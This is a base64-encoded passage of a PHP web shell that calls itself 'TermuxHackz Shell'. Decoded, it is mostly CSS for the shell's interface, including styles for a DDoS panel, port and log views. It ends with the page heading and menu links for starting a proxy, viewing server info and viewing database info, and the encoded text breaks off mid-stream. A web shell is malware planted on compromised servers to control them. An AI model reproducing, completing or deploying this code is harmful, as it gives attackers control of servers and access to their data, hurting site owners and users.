ZCBPcGVyYSAqLw0KICAgLXdlYmtpdC11c2VyLXNlbGVjdDogbm9uZTsgLyogU2FmYXJpICovDQogICAta2h0bWwtdXNlci1zZWxlY3Q6IG5vbmU7IC8qIEtvbnF1ZXJvciBIVE1MICovDQogICAtbW96LXVzZXItc2VsZWN0OiBub25lOyAvKiBGaXJlZm94ICovDQogICAtbXMtdXNlci1zZWxlY3Q6IG5vbmU7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIC5oZWFkaW5nOmhvdmVyIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgY29sb3I6IGdvbGQ7DQogICAgICAgICAgICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMzA1JTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgZm9udC13ZWlnaHQ6IGJvbGQ7DQogICAgICAgICAgICAgICAgICAgICAgICAgIHRyYW5zZm9ybTogcm90YXRlWSgzNjBkZWcpOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgdHIgew0KICAgICAgICAgICAgICAgICAgICAgICAgQk9SREVSOiBkYXNoZWQgMXB4ICMzMzM7DQogICAgICAgICAgICAgICAgICAgICAgICBjb2xvcjogI0ZGRjsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIHRkIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIEJPUkRFUjogZGFzaGVkIDFweCAjMzMzOw0KICAgICAgICAgICAgICAgICAgICAgICAgY29sb3I6ICNGRkY7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIC5idXR0b25zIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbWFyZ2luLXRvcDogMnZoOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvdXRsaW5lOiBub25lOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aWR0aDogYXV0bzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaGVpZ2h0OiBhdXRvOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb250LWZhbWlseTogY29taWMgc2FucyBtczsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdXNlci1zZWxlY3Q6IG5vbmU7IC8qIHN1cHBvcnRlZCBieSBDaHJvbWUgYW5kIE9wZXJhICovDQogICAtd2Via2l0LXVzZXItc2VsZWN0OiBub25lOyAvKiBTYWZhcmkgKi8NCiAgIC1raHRtbC11c2VyLXNlbGVjdDogbm9uZTsgLyogS29ucXVlcm9yIEhUTUwgKi8NCiAgIC1tb3otdXNlci1zZWxlY3Q6IG5vbmU7IC8qIEZpcmVmb3ggKi8NCiAgIC1tcy11c2VyLXNlbGVjdDogbm9uZTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgaW5wdXQgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb2xvcjogI2ZmZjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb250LXdlaWdodDogYm9sZDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9udC1mYW1pbHk6IG1vbm9zcGFjZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYm9yZGVyLWxlZnQ6ICMwODA1MTA7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDVweDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYm9yZGVyLXJpZ2h0OiAjMDgwNTEwOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBib3JkZXI6IG5vbmU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMwMDU2OTU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMTEwJTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcGFkZGluZzogNHB4Ow0KDQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICBpbnB1dFt0eXBlPXN1Ym1pdF0gew0KICAgICAgICAgICAgICAgICAgICAgICAgICBtYXJnaW46IGF1dG87DQogICAgICAgICAgICAgICAgICAgICAgICAgIG91dGxpbmU6IG5vbmU7DQogICAgICAgICAgICAgICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDNweDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgZm9udC1mYW1pbHk6IG1vbm9zcGFjZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgYm9yZGVyOiBub25lOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgaW5wdXQ6OnBsYWNlaG9sZGVyIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjZmZmOw0KICAgICAgICAgICAgICAgICAgICAgICAgZm9udC1zaXplOiANCiAgICAgICAgICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA7aHQ6IDkwMDsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgICAgICBpbnB1dFt0eXBlPXN1Ym1pdF06aG92ZXIgew0KICAgICAgICAgICAgICAgICAgICAgICAgICBib3gtc2hhZG93OiAwIDBweCAxMnB4IGxpZ2h0Z3JlZW47DQogICAgICAgICAgICAgICAgICAgICAgICAgIGN1cnNvcjogcG9pbnRlcjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgYm9yZGVyOiAycHggc29saWQgZ29sZDsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGlucHV0W3R5cGU9c3VibWl0XTo6cGxhY2Vob2xkZXIgew0KICAgICAgICAgICAgICAgICAgICAgICAgY29sb3I6ICNmZmY7DQogICAgICAgICAgICAgICAgICAgICAgICBmb250LXNpemU6IDEzcHg7DQogICAgICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICAgICAgc2VsZWN0IHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY29sb3I6IHdoaXRlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiBib2xkOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb250LWZhbWlseTogY3Vyc2l2ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYm9yZGVyLWxlZnQ6IGJsYWNrOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBib3JkZXItcmlnaHQ6IGJsYWNrOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBib3JkZXItc3R5bGU6IGdyb292ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogYmxhY2s7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICBvcHRpb24gew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb2xvcjogd2hpdGU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9udC13ZWlnaHQ6IGJvbGQ7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvbnQtZmFtaWx5OiBjdXJzaXZlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBib3JkZXItbGVmdDogIzA4MDUxMDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYm9yZGVyLXJpZ2h0OiAjMDgwNTEwOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBib3JkZXItc3R5bGU6IGdyb292ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzA4MDUxMDsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIHRleHRhcmVhIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY29sb3I6IHdoaXRlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb250LXdlaWdodDogYm9sZDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9udC1mYW1pbHk6IGN1cnNpdmU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJvcmRlci1sZWZ0OiAjMDgwNTEwOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBib3JkZXItcmlnaHQ6ICMwODA1MTA7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJvcmRlci1zdHlsZTogZ3Jvb3ZlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMDgwNTEwOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgaWZyYW1lIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY29sb3I6IHdoaXRlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb250LXdlaWdodDogYm9sZDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9udC1mYW1pbHk6IGN1cnNpdmU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJvcmRlci1sZWZ0OiAjMDgwNTEwOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBib3JkZXItcmlnaHQ6ICMwODA1MTA7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJvcmRlci1zdHlsZTogZ3Jvb3ZlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMDgwNTEwOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgYSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRleHQtZGVjb3JhdGlvbjogbm9uZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY29sb3I6IHdoaXRlOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgYTpob3ZlciB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRleHQtZGVjb3JhdGlvbjogbm9uZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY29sb3I6IHRlYWw7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAuZm9vdGVyIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcG9zaXRpb246IGZpeGVkOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsZWZ0OiAwcHg7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJpZ2h0OiAwcHg7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJvdHRvbTogMXZoOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb2xvcjogcmVkOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb250LWZhbWlseTogbW9ub3NwYWNlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb250LXNpemU6IDE2MCU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcjsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIC5kZWYgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb250LWZhbWlseTogY3Vyc2l2ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9udC1zaXplOiAxMDAlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb2xvcjogd2hpdGU7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICBwIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgY29sb3I6IGxpZ2h0Z3JlZW47DQogICAgICAgICAgICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMTZweDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgbWFyZ2luOiAwOw0KICAgICAgICAgICAgICAgICAgICAgICAgICBmb250LXdlaWdodDogOTA7DQogICAgICAgICAgICAgICAgICAgICAgICAgIHRleHQtZGVjb3JhdGlvbjogbm9uZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyOw0KICAgICAgICAgICAgICAgICAgICAgICAgICBmb250LWZhbWlseTogbW9ub3NwYWNlOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgI2J1dHRvbiB7DQogICAgICAgICAgICAgICAgICAgICAgICAgIGJvcmRlcjogMnB4IHNvbGlkIGJsdWU7DQogICAgICAgICAgICAgICAgICAgICAgICAgIG91dGxpbmU6IG5vbmU7DQogICAgICAgICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6IHRyYW5zcGFyZW50Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICBwYWRkaW5nOiA2cHggMTBweDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNTBweDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgY3Vyc29yOiBwb2ludGVyOw0KICAgICAgICAgICAgICAgICAgICAgICAgICB3aWR0aDogMzBweDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgaGVpZ2h0OiAzMHB4Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICBtYXJnaW46IDA7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgPC9zdHlsZT4NCiAgICAgICAgPC9oZWFkPg0KICAgICAgICAnOw0KICAgICAgICBlY2hvICRzdHlsZV9ib2R5Ow0KICAgICAgICA/Pg0KICAgICAgICA8P3BocA0KICAgICAgICBlY2hvICcNCiAgICAgICAgPHN0eWxlPg0KICAgICAgICBsYWJlbCB7DQogICAgICAgICAgY29sb3I6IGdyZWVuOw0KICAgICAgICAgIGZvbnQtc2l6ZToxNXB4Ow0KICAgICAgICAgIG1hcmdpbjogMDsNCg0KICAgICAgICB9DQogICAgICAgIHByZSB7DQogICAgICAgICAgY29sb3I6IG9yYW5nZTsNCiAgICAgICAgICBmb250LXNpemU6IDEzcHg7DQogICAgICAgICAgbWFyZ2luOiAwOw0KICAgICAgICAgIHBhZGRpbmc6M3B4Ow0KICAgICAgICB9DQogICAgICAgICNsb2cgew0KICAgICAgICAgIGJhY2tncm91bmQ6IHdoaXRlOw0KICAgICAgICAgIGNvbG9yOiBibGFjazsNCiAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCByZWQ7DQogICAgICAgICAgb3V0bGluZTogcmVkOw0KICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDRweDsNCiAgICAgICAgICBwYWRkaW5nOiAxMHB4IDIwcHggMTBweCAyMHB4Ow0KICAgICAgICAgIG91dGxpbmU6IG5vbmU7DQogICAgICAgIH0NCiAgICAgICAgI3BvcnQgew0KICAgICAgICAgIGNvbG9yOiB3aGl0ZTsNCiAgICAgICAgfQ0KICAgICAgICAjaW50cm8gew0KICAgICAgICAgIGZvbnQtc2l6ZTogMTJweDsNCiAgICAgICAgICBmb250LWZhY2U6IGN1cnNpdmU7DQogICAgICAgICAgbWFyZ2luOiAwOw0KICAgICAgICAgIGNvbG9yOiAjNjQ5NWVkOw0KICAgICAgICB9DQogICAgICAgIC5jb3ZlciB7DQogICAgICAgICAgd2lkdGg6IDMwJTsNCiAgICAgICAgICBoZWlnaHQ6IGF1dG87DQogICAgICAgICAgbWFyZ2luOiAwOw0KICAgICAgICAgIGZvbnQtc2l6ZTogMTNweDsNCiAgICAgICAgICBwYWRkaW5nOiAxMHB4IDEzcHg7DQogICAgICAgICAgYm9yZGVyOiAycHggc29saWQgd2hpdGU7DQogICAgICAgICAgb3V0bGluZTogbm9uZTsNCiAgICAgICAgICBiYWNrZ3JvdW5kOiB0cmFuc3BhcmVudDsNCiAgICAgICAgICBmb250LWZhbWlseTogc2Fucy1zZXJpZjsNCiAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7DQoNCiAgICAgICAgfQ0KICAgICAgICAjbG9uZyB7DQogICAgICAgICAgd2lkdGg6IGF1dG87DQogICAgICAgICAgaGVpZ2h0OmF1dG87DQogICAgICAgICAgYm9yZGVyLWxlZnQtc3R5bGU6IG5vbmU7DQogICAgICAgICAgYm9yZGVyLXJpZ2h0LXN0eWxlOiBub25lOw0KICAgICAgICAgIHBhZGRpbmc6IDZweDsNCiAgICAgICAgICBtYXJnaW46IDA7DQogICAgICAgICAgY29sb3I6IGRhcmtibHVlOw0KICAgICAgICAgIG91dGxpbmU6IG5vbmU7DQogICAgICAgIH0NCiAgICAgICAgI2Nsb3NlIHsNCiAgICAgICAgICBiYWNrZ3JvdW5kOiB0cmFuc3BhcmVudDsNCiAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCBncmVlbjsNCiAgICAgICAgICBwYWRkaW5nOiA0cHggNnB4Ow0KICAgICAgICAgIGZvbnQtZmFtaWx5OiAibW9udGVzZXJyYXQiOw0KICAgICAgICAgIGN1cnNvcjogcG9pbnRlcjsNCiAgICAgICAgICBtYXJnaW46IDEwcHg7DQogICAgICAgICAgd2lkdGg6IDQwcHg7DQogICAgICAgICAgY29sb3I6IHJlZDsNCiAgICAgICAgICBoZWlnaHQ6IDQwcHg7DQogICAgICAgICAgdHJhbnNpdGlvbjogMC44czsNCiAgICAgICAgICBib3JkZXItcmFkaXVzOiA1MHB4Ow0KICAgICAgICAgIGZsb2F0OiByaWdodDsNCiAgICAgICAgICBwb3NpdGlvbjogcmVsYXRpdmU7DQogICAgICAgICAgb3ZlcmZsb3c6IGhpZGRlbjsNCiAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7DQogICAgICAgICAgZm9udC1zaXplOiAxNnB4Ow0KICAgICAgICB9DQogICAgICAgICNjbG9zZTpob3ZlciB7DQogICAgICAgICAgY29sb3I6ICNmZmY7DQogICAgICAgICAgYm94LXNoYWRvdzogMCAwcHggMTJweCBsaWdodGJsdWU7DQoNCiAgICAgICAgfQ0KICAgICAgICAjY2xvc2U6OmJlZm9yZSB7DQogICAgICAgICAgY29udGVudDogIiI7DQogICAgICAgICAgcG9zaXRpb246IGFic29sdXRlOw0KICAgICAgICAgIGxlZnQ6IDA7DQogICAgICAgICAgd2lkdGg6IDUwcHg7DQogICAgICAgICAgaGVpZ2h0OiAwJTsNCiAgICAgICAgICBiYWNrZ3JvdW5kOiBncmVlbjsNCiAgICAgICAgICB6LWluZGV4OiAtMTsNCiAgICAgICAgICB0cmFuc2l0aW9uOiAwLjhzOw0KICAgICAgICB9DQogICAgICAgICNkZG9zIHsNCiAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBibGFjazsNCiAgICAgICAgICBwYWRkaW5nOiAxNnB4IDIwcHg7DQogICAgICAgICAgbWFyZ2luOiBhdXRvOw0KICAgICAgICAgIHdpZHRoOiA1MCU7DQogICAgICAgICAgaGVpZ2h0OiBhdXRvOw0KICAgICAgICAgIGp1c3RpZnktY29udGVudDogY2VudGVyOw0KICAgICAgICAgIGJveC1zaGFkb3c6IDAgMHB4IDEycHggI2FlYWViNTsNCiAgICAgICAgICBib3JkZXI6IDA7DQogICAgICAgICAganVzdGlmeS1pdGVtczogY2VudGVyOw0KICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcjsNCiAgICAgICAgICBvdXRsaW5lOiBub25lOw0KICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDdweDsNCiAgICAgICAgfQ0KICAgICAgICAucmVkMXsNCiAgICAgICAgICBjb2xvcjogcmVkOw0KICAgICAgICAgIGZvbnQtZmFtaWx5OiAiQ291cmllciBOZXciLCBDb3VyaWVyLCBtb25vc3BhY2U7DQogICAgICAgICAgZm9udC1zaXplOiA1MHB4Ow0KICAgICAgICAgIG1hcmdpbjogMCBhdXRvOw0KICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgLnNlbWktY2lyY2xlIHsNCiAgICAgICAgICB0cmFuc2Zvcm06IHRyYW5zbGF0ZSgtNTAlLCAtNTAlKTsNCiAgICAgICAgICBoZWlnaHQ6IDk1cHg7DQogICAgICAgICAgd2lkdGg6IDE1MHB4Ow0KICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDE1MHB4IDE1MHB4IDAgMDsNCiAgICAgICAgICBiYWNrZ3JvdW5kOiAjMTEyOw0KICAgICAgICAgIGNvbG9yOiAjODRmYjVhOw0KICAgICAgICAgIGZvbnQtc2l6ZTogMTdweDsNCiAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7DQogICAgICAgICAgZm9udC13ZWlnaHQ6IGJvbGQ7DQogICAgICAgICAgZmxvYXQ6IHJpZ2h0Ow0KICAgICAgICAgIGJvcmRlci1zdHlsZTogZ3Jvb3ZlOw0KICAgICAgICAgIHVzZXItc2VsZWN0OiBub25lOw0KICAgICAgICB9DQogICAgICAgIC5zZW1pLWNpcmNsZTpob3ZlciB7DQogICAgICAgICAgYm94LXNoYWRvdzogMCAwIDZweCBsaWdodGJsdWU7DQogICAgICAgICAgY3Vyc29yOiBwb2ludGVyOw0KICAgICAgICB9DQogICAgICAgIC5zd2l0Y2ggew0KICBwb3NpdGlvbjogcmVsYXRpdmU7DQogIGRpc3BsYXk6IGlubGluZS1ibG9jazsNCiAgd2lkdGg6IDYwcHg7DQogIGhlaWdodDogMzRweDsNCn0NCg0KLyogSGlkZSBkZWZhdWx0IEhUTUwgY2hlY2tib3ggKi8NCi5zd2l0Y2ggaW5wdXQgew0KICBvcGFjaXR5OiAwOw0KICB3aWR0aDogMDsNCiAgaGVpZ2h0OiAwOw0KfQ0KDQovKiBUaGUgc2xpZGVyICovDQouc2xpZGVyIHsNCiAgcG9zaXRpb246IGFic29sdXRlOw0KICBjdXJzb3I6IHBvaW50ZXI7DQogIHRvcDogMDsNCiAgbGVmdDogMDsNCiAgcmlnaHQ6IDA7DQogIGJvdHRvbTogMDsNCiAgYmFja2dyb3VuZC1jb2xvcjogI2NjYzsNCiAgLXdlYmtpdC10cmFuc2l0aW9uOiAuNHM7DQogIHRyYW5zaXRpb246IC40czsNCn0NCg0KLnNsaWRlcjpiZWZvcmUgew0KICBwb3NpdGlvbjogYWJzb2x1dGU7DQogIGNvbnRlbnQ6ICIiOw0KICBoZWlnaHQ6IDI2cHg7DQogIHdpZHRoOiAyNnB4Ow0KICBsZWZ0OiA0cHg7DQogIGJvdHRvbTogNHB4Ow0KICBiYWNrZ3JvdW5kLWNvbG9yOiB3aGl0ZTsNCiAgLXdlYmtpdC10cmFuc2l0aW9uOiAuNHM7DQogIHRyYW5zaXRpb246IC40czsNCn0NCg0KaW5wdXQ6Y2hlY2tlZCArIC5zbGlkZXIgew0KICBiYWNrZ3JvdW5kLWNvbG9yOiAjMjE5NkYzOw0KfQ0KDQppbnB1dDpmb2N1cyArIC5zbGlkZXIgew0KICBib3gtc2hhZG93OiAwIDAgMXB4ICMyMTk2RjM7DQp9DQoNCmlucHV0OmNoZWNrZWQgKyAuc2xpZGVyOmJlZm9yZSB7DQogIC13ZWJraXQtdHJhbnNmb3JtOiB0cmFuc2xhdGVYKDI2cHgpOw0KICAtbXMtdHJhbnNmb3JtOiB0cmFuc2xhdGVYKDI2cHgpOw0KICB0cmFuc2Zvcm06IHRyYW5zbGF0ZVgoMjZweCk7DQp9DQoNCi8qIFJvdW5kZWQgc2xpZGVycyAqLw0KLnNsaWRlci5yb3VuZCB7DQogIGJvcmRlci1yYWRpdXM6IDM0cHg7DQp9DQoNCi5zbGlkZXIucm91bmQ6YmVmb3JlIHsNCiAgYm9yZGVyLXJhZGl1czogNTAlOw0KfQ0KI2ZvbnQgew0KZm9udC1mYW1pbHk6ICJDb3VyaWVyIE5ldyIsIENvdXJpZXIsIG1vbm9zcGFjZTsNCmZvbnQtc2l6ZTogNTBweDsNCmZvbnQtd2VpZ2h0OiAyMDA7DQptYXJnaW46IDAgYXV0bzsNCn0gDQouZmxvYXRSaWdodHsNCmZsb2F0OnJpZ2h0Ow0KfQ0KLmZsb2F0UmlnaHQ6aG92ZXIgew0KY3Vyc29yOiBwb2ludGVyOw0KfQ0KICAgICAgYnV0dG9uIHsNCiAgICAgICAgY29sb3I6IHdoaXRlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiBib2xkOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb250LWZhbWlseTogbW9ub3NwYWNlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBib3JkZXItbGVmdDogIzA4MDUxMDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNXB4Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBib3JkZXItcmlnaHQ6ICMwODA1MTA7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJvcmRlcjogbm9uZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzAwNTY5NTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9udC1zaXplOiAxMTAlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwYWRkaW5nOiA0cHg7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGN1cnNvcjogcG9pbnRlcjsNCiAgICAgIH0NCiAgICAgIGJ1dHRvbjpob3ZlciB7DQogICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmN2MyZjk7DQogICAgICB9DQogICAgICAgIDwvc3R5bGU+JzsNCiAgICAgICAgPz4NCiAgICAgICAgPGJvZHk+DQogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaGVhZGluZyI+DQogICAgICAgICAgICAgICAgICAgICAgICAmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs8Zm9udCBpZD0iZm9udCIgdGl0bGU9InRoczEzMzcgYnkgVGVybXV4SGFja3ogU29jaWV0eSI+VGVybXV4SGFja3o8L2ZvbnQ+PHNwYW4gY2xhc3M9InJlZDEiPiBTaGVsbDwvc3Bhbj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Imh0dHBzOi8vdGVybXV4aGFja3ouZ2l0aHViLmlvL2luZGV4Lmh0bWwiIHRhcmdldD0iX2JsYW5rIj48aW1nIHNyYz0iaHR0cHM6Ly9paWxpLmlvL1lwcXpXZy5wbmciIGNsYXNzPSJmbG9hdFJpZ2h0IiB3aWR0aD0iMjUwcHgiIGhlaWdodD0iMTAwcHgiLz48L2E+DQogICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgPCEtLSBzdGFydCBvZiBwb3B1cCAtLT4NCiAgICAgICAgICAgICAgICA8Y2VudGVyPg0KICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9zdGFydF9wcm94eSI+DQogICAgICAgICAgICAgICAgICAmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU3RhcnQgUHJveHkgIi8+IDxpIGNsYXNzPSJmYSBmYS1nZWFyIGZhLXNwaW4iIHN0eWxlPSJmb250LXNpemU6MjRweCI+PC9pPg0KICAgICAgICAgICAgICAgIDwvYT4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsNCiAgICAgICAgICAgICAgPC9jZW50ZXI+DQogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iYnV0dG9ucyI+PGNlbnRlcj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9zZXJ2ZXJfaW5mbyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTZXJ2ZXIgSW5mbyIgLz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsNCiAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9kYl9pbmZvIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIAk8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRGIgaW5mbyIgLz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4mbmJzcDsmbmJzcDsmbmJzcDsm